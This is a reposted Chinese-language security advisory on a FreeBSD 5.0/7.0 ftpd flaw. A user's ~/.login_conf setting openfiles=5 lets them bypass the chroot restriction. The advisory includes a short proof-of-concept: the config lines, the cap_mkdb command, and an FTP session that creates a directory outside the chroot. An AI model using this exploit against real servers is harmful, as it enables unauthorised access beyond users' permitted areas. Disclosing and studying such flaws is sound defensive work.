FreeBSD ftpd setusercontext()远程权限提升漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2009-10-06
FreeBSD ftpd setusercontext()远程权限提升漏洞 影响版本:
FreeBSD 7.0
FreeBSD 5.0漏洞描述:
BUGTRAQ  ID: 36119

FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统。

FreeBSD及其他一些BSD系统有一个用于设置用户上下文的功能,如FreeBSD中的setusercontext()函数:

    setusercontext(lc, pw, (uid_t)0,
        LOGIN_SETLOGIN|LOGIN_SETGROUP|LOGIN_SETPRIORITY|
        LOGIN_SETRESOURCES|LOGIN_SETUMASK);

其中的LOGIN_SETRESOURCES设置允许用户设置资源。根据用户手册所述:

     LOGIN_SETRESOURCES  根据系统登录类数据库中所指定的值为当前进程设置资源限制。使用类功能标签,可选择-cur(软限制)或-max(硬限制)后缀及相关的资源设置:

             cputime       RLIMIT_CPU
             filesize      RLIMIT_FSIZE
             datasize      RLIMIT_DATA
             stacksize     RLIMIT_STACK
             coredumpsize  RLIMIT_CORE
             memoryuse     RLIMIT_RSS
             memorylocked  RLIMIT_MEMLOCK
             maxproc       RLIMIT_NPROC
             openfiles     RLIMIT_NOFILE
             sbsize        RLIMIT_SBSIZE
             vmemoryuse    RLIMIT_VMEM

远程安全者可以利用这些选项设置自己的~/.login_conf配置。例如,将openfiles设置为5就可以绕过ftpd.c中的chroot()限制。<*参考 
Kingcope (kingcope@gmx.net)

链接:http://milw0rm.com/exploits/9489
*>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有安全性,仅供安全研究与教学之用,风险自负!---snip---
%cat /etc/ftpchroot
kcope
%cat .login_conf
me:/
  :openfiles=5:

%cap_mkdb .login_conf
%ftp 192.168.2.4
Connected to 192.168.2.4.
220  FTP server (Version 6.00LS) ready.
Name (192.168.2.4:root): kcope
331 Password required for kcope.
Password:
230 User kcope logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /usr/home/kcope
ftp> mkdir /tmp/foobar
257 "/tmp/foobar" directory created.
ftp> ls
425 Can’t open passive connection: Too many open files.
425 Can’t open passive connection: Too many open files.
200 PORT command successful.
550 /bin/ls -lgA: Too many open files.
ftp>
---snip---

SEBUG安全建议:
厂商补丁:

FreeBSD
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.freebsd.org/security/index.html

图片内容